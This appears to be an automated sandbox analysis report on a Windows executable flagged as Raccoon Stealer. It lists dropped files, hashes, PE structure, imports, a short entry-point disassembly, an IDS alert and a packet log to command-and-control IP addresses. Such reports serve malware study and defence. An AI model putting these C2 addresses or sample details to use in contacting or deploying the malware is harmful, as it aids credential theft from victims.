Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220101_031200_065.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.3914224269233135
Encrypted:	false
SSDEEP:	96:zCj/o+SDY5b098/YBQC+II2lM1kFO478T2tjFz21NMCbdJRXj5H:GrM7SK22M10C3X
MD5:	E7277310107C847BA6292184A23DF9C0
SHA1:	8CA3BD796329A5DE996AF3DC13B362283E6B70D5
SHA-256:	535EDBBC899FE40224D3BF55C027C14BEEF7084F138587E0FE78372E50F85E59
SHA-512:	DD16607595CDD6C70DC8D397ECB4CDB46750B2B2B6B512451BFB92C4CB7E67409708C320FB2B282263347C8CF79DFD03C4EEEEFCF3C080687C0E368A97B29535
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!....................................X.......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....C..W............8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.0.1._.0.3.1.2.0.0._.0.6.5...e.t.l.........P.P..........X......................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13166080
Entropy (8bit):	3.5848544177684003
Encrypted:	false
SSDEEP:	24576:N6SbKFrS57Ybtr0m10000000000000000000000000000000000000000000000U:F
MD5:	55C2306F3ED3CD9B60ED0AA76322891F
SHA1:	EC7A0DD01E496EF638647F43D5F8F530C792F4CB
SHA-256:	A41F7F565D6A4504BA14E0B3D2E700ADE0BC5B721B754DA47D1F27D6C169C89F
SHA-512:	FAF10D1FF430626BADAE129CC9308447B684415188C2749632ED56D741507202D48F5CC221C53157E11B6E7BDE3AD8B389097C54AA12D3ED5446A5786FAC185C
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!.B!.B!.....B!..4...B!..4...B!.:..B!.B .(B!..4..B!..4..B!..4..B!.Rich.B!.................PE..L...d.`......................3.....PK.......0....@.......................... 8.................................................(....p7..N....................7.d"..0...................................@............................................text...6........................... ..`.data....*3..0......................@....vupa........`7.....................@....rsrc....N...p7..P..................@..@.reloc...V....7.....................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.221092836326738
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GJXZRPhgm4.exe
File size:	347136
MD5:	4eb8aaa41fc2ef6fdc3432cc47c09c66
SHA1:	6aa99adf337e5db142aa3a75c416bad6e8f7a2ed
SHA256:	8cedc3fb74185394bbf60d2dc1f9618b1e576986f13031b9e29ef12daa6eaf2c
SHA512:	38c0f954f5e371fa11ad0a918e5d8e817807aea0e445b1f614e7a26583e692606966213e8e9c5df818f2a0fd1b7d93c48e25229a2825500bc56bb735f51f000d
SSDEEP:	6144:soI4eh8PycOOhu/Apcrt/Yb8xL4HCAlJdlSg5JPm:soIVWPyrOhu/Apch/Yb8xLulJdPT
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#O..B!..B!..B!......B!..4...B!..4...B!..:...B!..B .(B!..4...B!..4...B!..4...B!.Rich.B!.................PE..L...sC._...........

File Icon


Icon Hash:	a2e8e8e8a2a2a488

Static PE Info

General
Entrypoint:	0x4248b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5F074373 [Thu Jul 9 16:18:59 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	c613013e8ec93eae360257b5231d0949

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007EFF2C6C5CFBh
call 00007EFF2C6B9A86h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00440B20h
push 0042B290h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0044AD00h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401200h]
cmp dword ptr [00775A08h], 00000000h
jne 00007EFF2C6B9A80h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [004011FCh]
call 00007EFF2C6B9C03h
mov dword ptr [ebp-6Ch], eax
call 00007EFF2C6C109Bh
test eax, eax
jne 00007EFF2C6B9A7Ch
push 0000001Ch
call 00007EFF2C6B9BC0h
add esp, 04h
call 00007EFF2C6C2498h
test eax, eax
jne 00007EFF2C6B9A7Ch
push 00000010h
call 00007EFF2C6B9BADh
add esp, 04h
push 00000001h
call 00007EFF2C6B8E23h
add esp, 04h
call 00007EFF2C6C666Bh
mov dword ptr [ebp-04h], 00000000h
call 00007EFF2C6C571Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41064	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x377000	0x4e90	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x37c000	0x2250	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1330	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa518	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2b0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x41096	0x41200	False	0.561555302303	data	6.86058779643	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x43000	0x332a0c	0x8c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.zaxifuz	0x376000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x377000	0x4e90	0x5000	False	0.569384765625	data	5.513509613	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x37c000	0x56de	0x5800	False	0.312100497159	data	3.48465421552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x37a990	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x37aad8	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x3774b0	0x8a8	data	Spanish	Colombia
RT_ICON	0x377d58	0x6c8	data	Spanish	Colombia
RT_ICON	0x378420	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x378988	0x10a8	data	Spanish	Colombia
RT_ICON	0x379a30	0x988	data	Spanish	Colombia
RT_ICON	0x37a3b8	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x37b398	0x72	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x37b410	0x256	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x37b668	0x794	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x37be00	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x37a8d8	0x78	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x37a880	0x58	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x37aac0	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x37b380	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x37a820	0x5a	data	Spanish	Colombia
None	0x37a960	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x37a970	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x37a950	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x37a980	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeA, TerminateProcess, GetExitCodeProcess, GetVersionExW, VerifyVersionInfoW, GetConsoleCP, GetConsoleAliasesLengthA, VerLanguageNameA, VerifyVersionInfoA, FreeEnvironmentStringsW, GetProcessPriorityBoost, SetVolumeMountPointA, GetLongPathNameW, CopyFileA, TlsSetValue, GetConsoleCursorInfo, SystemTimeToTzSpecificLocalTime, FindAtomW, ReleaseMutex, GetNamedPipeHandleStateA, CommConfigDialogA, BuildCommDCBAndTimeoutsW, GetProcAddress, LoadLibraryA, GlobalAlloc, LocalReAlloc, GetCommandLineA, InterlockedExchange, GetCalendarInfoW, DeleteFileA, CreateActCtxA, SetPriorityClass, GetPrivateProfileIntA, GetProcessHeap, GlobalMemoryStatus, ReadConsoleOutputCharacterA, GetStartupInfoA, GetDiskFreeSpaceExW, GetCPInfoExW, GetWindowsDirectoryW, GetSystemWow64DirectoryA, SetLastError, GetProfileStringA, GetCalendarInfoA, FreeUserPhysicalPages, GetTickCount, GetStringTypeExA, DebugBreak, lstrcmpA, WriteFile, SetConsoleMode, GetCurrentThreadId, lstrcatW, SetMailslotInfo, LocalFileTimeToFileTime, DefineDosDeviceA, EndUpdateResourceA, WriteConsoleW, SetSystemTimeAdjustment, GetPrivateProfileSectionW, WritePrivateProfileSectionW, TryEnterCriticalSection, GetPrivateProfileStructW, GetFileAttributesExA, HeapUnlock, PeekConsoleInputA, SetTapeParameters, FindResourceExW, GetLocalTime, CreateIoCompletionPort, CreateSemaphoreA, GetThreadLocale, SetFileShortNameW, lstrcpyA, LockFileEx, GetConsoleAliasA, GetConsoleAliasExesLengthA, TransactNamedPipe, GetDevicePowerState, GetWriteWatch, FreeEnvironmentStringsA, GetConsoleScreenBufferInfo, LoadLibraryW, TlsAlloc, GetComputerNameW, HeapFree, GetLastError, GlobalReAlloc, SignalObjectAndWait, CancelDeviceWakeupRequest, FindClose, SetWaitableTimer, ChangeTimerQueueTimer, GetProcessTimes, FatalAppExitW, lstrcpynA, SetNamedPipeHandleState, FillConsoleOutputCharacterA, GetCompressedFileSizeA, FindNextVolumeMountPointA, GetFullPathNameA, FreeResource, UnlockFile, GlobalAddAtomA, TerminateJobObject, QueryDosDeviceA, EnterCriticalSection, Process32FirstW, SetCurrentDirectoryW, GetBinaryTypeA, OpenMutexA, WideCharToMultiByte, InterlockedIncrement, InterlockedDecrement, GetStringTypeW, MultiByteToWideChar, InterlockedCompareExchange, InitializeCriticalSection, DeleteCriticalSection, LeaveCriticalSection, EncodePointer, DecodePointer, HeapValidate, IsBadReadPtr, RtlUnwind, RaiseException, GetCommandLineW, HeapSetInformation, GetStartupInfoW, LCMapStringW, GetCPInfo, GetModuleFileNameW, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InitializeCriticalSectionAndSpinCount, IsProcessorFeaturePresent, HeapAlloc, GetModuleFileNameA, HeapReAlloc, HeapSize, HeapQueryInformation, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsFree, GetModuleHandleW, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, GetLocaleInfoW, GetLocaleInfoA, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, OutputDebugStringA, OutputDebugStringW, SetFilePointer, GetConsoleMode, SetStdHandle, FlushFileBuffers, CreateFileW, CloseHandle

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Colombia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/31/21-19:14:06.739597	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49903	80	192.168.2.3	185.163.204.24
12/31/21-19:14:08.036551	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49903	80	192.168.2.3	185.163.204.24

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2021 19:12:38.051929951 CET	49757	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.100673914 CET	80	49757	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.102338076 CET	49757	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.102374077 CET	49757	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.102555990 CET	49757	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.151899099 CET	80	49757	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.206077099 CET	80	49757	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.206209898 CET	49757	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.207777977 CET	49757	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.253070116 CET	49758	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.256299019 CET	80	49757	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.301796913 CET	80	49758	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.304009914 CET	49758	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.304112911 CET	49758	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.304960012 CET	49758	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.352957010 CET	80	49758	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.353461981 CET	80	49758	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.407917976 CET	80	49758	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.407972097 CET	80	49758	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.408313036 CET	49758	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.408385038 CET	49758	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.457043886 CET	80	49758	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.704719067 CET	49759	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.753490925 CET	80	49759	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.753599882 CET	49759	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.753726006 CET	49759	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.753755093 CET	49759	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.802423000 CET	80	49759	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.830111027 CET	80	49759	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:38.830212116 CET	49759	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.830425024 CET	49759	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:38.879244089 CET	80	49759	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.125761032 CET	49760	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.174678087 CET	80	49760	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.174819946 CET	49760	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.174892902 CET	49760	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.174916029 CET	49760	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.223742008 CET	80	49760	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.252798080 CET	80	49760	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.252924919 CET	49760	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.253155947 CET	49760	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.278991938 CET	49761	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.301867008 CET	80	49760	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.327820063 CET	80	49761	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.327948093 CET	49761	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.328047037 CET	49761	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.330317020 CET	49761	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.377304077 CET	80	49761	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.378873110 CET	80	49761	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.403669119 CET	80	49761	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.403768063 CET	49761	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.404000044 CET	49761	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.454022884 CET	49762	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.454197884 CET	80	49761	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.503576040 CET	80	49762	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.503679991 CET	49762	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.503765106 CET	49762	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.503809929 CET	49762	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.552624941 CET	80	49762	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.580632925 CET	80	49762	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.580760956 CET	49762	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.580799103 CET	49762	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.629544020 CET	80	49762	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.877216101 CET	49763	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.926315069 CET	80	49763	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:39.928240061 CET	49763	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.928385973 CET	49763	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.928437948 CET	49763	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:39.978230953 CET	80	49763	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:40.017127991 CET	80	49763	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:40.017544031 CET	49763	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:40.017610073 CET	49763	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:40.043299913 CET	49764	80	192.168.2.3	185.186.142.166
Dec 31, 2021 19:12:40.067430973 CET	80	49763	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:40.100400925 CET	80	49764	185.186.142.166	192.168.2.3
Dec 31, 2021 19:12:40.611463070 CET	49764	80	192.168.2.3	185.186.142.166
Dec 31, 2021 19:12:40.669238091 CET	80	49764	185.186.142.166	192.168.2.3
Dec 31, 2021 19:12:41.174041033 CET	49764	80	192.168.2.3	185.186.142.166
Dec 31, 2021 19:12:41.229506969 CET	80	49764	185.186.142.166	192.168.2.3
Dec 31, 2021 19:12:41.258944988 CET	49765	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.307857990 CET	80	49765	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.308051109 CET	49765	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.308212996 CET	49765	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.309293032 CET	49765	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.356909037 CET	80	49765	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.357692003 CET	80	49765	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.411436081 CET	80	49765	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.411535978 CET	49765	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.411815882 CET	49765	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.435811043 CET	49766	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.460463047 CET	80	49765	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.484649897 CET	80	49766	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.484782934 CET	49766	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.484885931 CET	49766	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.484894991 CET	49766	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.533570051 CET	80	49766	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.561736107 CET	80	49766	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.561850071 CET	49766	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.562118053 CET	49766	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.610662937 CET	80	49766	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.857760906 CET	49767	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.906378031 CET	80	49767	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.906476974 CET	49767	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.906543970 CET	49767	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.966094971 CET	80	49767	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:41.966217995 CET	49767	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:41.966413975 CET	49767	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.004080057 CET	49768	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.015060902 CET	80	49767	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.052982092 CET	80	49768	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.053097010 CET	49768	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.053189993 CET	49768	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.054467916 CET	49768	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.102174997 CET	80	49768	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.103250027 CET	80	49768	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.132364035 CET	80	49768	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.132433891 CET	49768	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.132479906 CET	49768	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.157145023 CET	49769	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.181395054 CET	80	49768	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.205945969 CET	80	49769	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.206063032 CET	49769	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.206155062 CET	49769	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.206497908 CET	49769	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.255367994 CET	80	49769	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.255413055 CET	80	49769	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.286501884 CET	80	49769	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:42.286613941 CET	49769	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.303493023 CET	49769	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:42.311522007 CET	49770	443	192.168.2.3	185.233.81.115
Dec 31, 2021 19:12:42.311579943 CET	443	49770	185.233.81.115	192.168.2.3
Dec 31, 2021 19:12:42.311692953 CET	49770	443	192.168.2.3	185.233.81.115
Dec 31, 2021 19:12:42.312654972 CET	49770	443	192.168.2.3	185.233.81.115
Dec 31, 2021 19:12:42.312680960 CET	443	49770	185.233.81.115	192.168.2.3
Dec 31, 2021 19:12:42.352340937 CET	80	49769	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:49.737205982 CET	49770	443	192.168.2.3	185.233.81.115
Dec 31, 2021 19:12:49.797046900 CET	49790	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:49.845760107 CET	80	49790	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:49.845895052 CET	49790	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:49.846010923 CET	49790	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:49.846065998 CET	49790	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:49.894772053 CET	80	49790	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:49.923584938 CET	80	49790	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:49.924073935 CET	49790	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:49.924276114 CET	49790	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:49.974608898 CET	80	49790	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.221524000 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.270816088 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.271037102 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.271090031 CET	49793	80	192.168.2.3	31.28.27.130
